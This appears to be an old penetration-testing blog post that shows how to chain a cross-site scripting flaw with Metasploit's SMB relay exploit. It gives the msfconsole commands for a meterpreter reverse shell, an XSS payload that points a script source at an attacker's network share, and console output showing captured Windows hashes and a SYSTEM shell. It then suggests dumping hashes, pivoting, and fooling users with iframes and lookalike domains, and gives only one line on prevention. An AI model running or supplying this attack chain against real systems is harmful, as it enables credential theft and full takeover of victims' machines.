Combining XSS and SMB-Relay

I found this to be an interesting way to make XSS useful in say an internal pentest on a local application, or perhaps on a client side test via emails to users you enumerated google hacking or through maltego.  You can simply use XSS to call a non existent share on a host running a listener and force a windows user issue their hashes to your listener and gain a shell.


Setting up SMB_Relay in Metasploit:
Open up a metasploit session:

root@ficti0n:~# /pentest/exploits/framework3/msfconsole

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 490 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
       =[ svn r8091 updated 6 days ago (2010.01.09)

msf > use exploits/windows/smb/smb_relay
msf exploit(smb_relay) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(smb_relay) > set LHOST 172.20.200.118  <-- Whatever this metasploit server is
LHOST => 172.20.200.118
msf exploit(smb_relay) > exploit
[*] Exploit running as background job.
msf exploit(smb_relay) >
[*] Started reverse handler on port 4444
[*] Server started.


XSS your Client:
Once your listener is setup on your backtrack server running metasploit you can then run your cross-site-scripting attack against the Client. This attack can be accomplished with the following script string which tries to open a share on the attack server. Put the string below into any parameter that is vulnerable to cross site scripting, just change the IP address to the ipaddress of your server which is running the metasploit smb_relay listener.

<script language='Javascript' src="\\172.20.200.118\c$"></script>

When the XSS link is clicked you will see network hashes race across the output of the metasploit console.  Basically the client that is being XSS'd is sending over their windows credentials to try to open a network share. Metasploit at this point is passing the hashes back to the client and opening a meterpreter session gaining shell access. This is how its working as I understand the process.

[*] Authenticating to 172.20.200.125 as Ficti0n-1C10DB\Administrator...
[*] AUTHENTICATED as Ficti0n-1C10DB\Administrator...
[*] Ignoring request from 172.20.200.125, attack already in progress.
[*] Sending Access Denied to 172.20.200.125:1069 Ficti0n-1C10DB\Administrator
[*] Received 172.20.200.125:1071 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 Service Pack 2 LM:
[*] Sending Access Denied to 172.20.200.125:1071 \
[*] Received 172.20.200.125:1071 Ficti0n-1C10DB\Administrator LMHASH:ff227wf24924844095c91577w265de85ebb20w9e9f146319 NTHASH:ff227df2492d844095c91577w265de85ebb20b9w4f178319 OS:Windows Server 2003 3790 Service Pack 2 LM:
[*] Authenticating to 172.20.200.125 as Ficti0n-1C10DB\Administrator...
[*] AUTHENTICATED as Ficti0n-1C10DB\Administrator...
[*] Ignoring request from 172.20.200.125, attack already in progress.
[*] Sending Access Denied to 172.20.200.125:1071 Ficti0n-1C10DB\Administrator

At this point you can click into the Metasploit window and issue the following commands to take control of the client machine.

msf exploit(smb_relay) > sessions -l

Active sessions
===============
Id  Description  Tunnel
1   Meterpreter  172.20.200.118:4444 -> 172.20.200.125:1047

msf exploit(smb_relay) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >  

You are now logged into the Clients machine as system and can perform any actions that you wish under the context of a System account. Create users, dump hashes, and use the system as a jump point into other systems on the local network. This is all pretty simple stuff but I thought it was pretty cool to just issue it from an XSS attack since I dont see good XSS examples to often. usually just how to grab a cookie. 

Combining this with CFS:
Other good ideas for this attack would be to embed this into a header of a site you control via a cross frame scripting attack. You can then encapsulate a whole valid page in an iframe and the user will never know unless they look at the url... however you can always just register a similar URL to trick a user while silently be passing their credentials... 


Prevention:
Of course egress filtering of outgoing ports will prevent this attack.. most people do not egress filter however.